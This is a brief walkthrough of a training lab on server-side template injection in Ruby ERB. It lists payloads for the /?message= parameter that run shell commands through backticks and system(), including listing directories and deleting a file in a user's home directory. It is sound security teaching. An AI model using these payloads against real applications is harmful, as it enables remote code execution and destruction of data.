Lab: Basic server-side template injection

This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.

To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos's home directory.

Steps

  • Visit the Target Website

  • In the /?message= parameter enter the ruby payload

<%= `ls /` %>
<%= `ls /home/carlos` %>
<%= `rm /home/carlos/morale.txt` %>

OR

<%= system("rm /home/carlos/morale.txt") %>
  • Congrats! You have solved the lab.

Last updated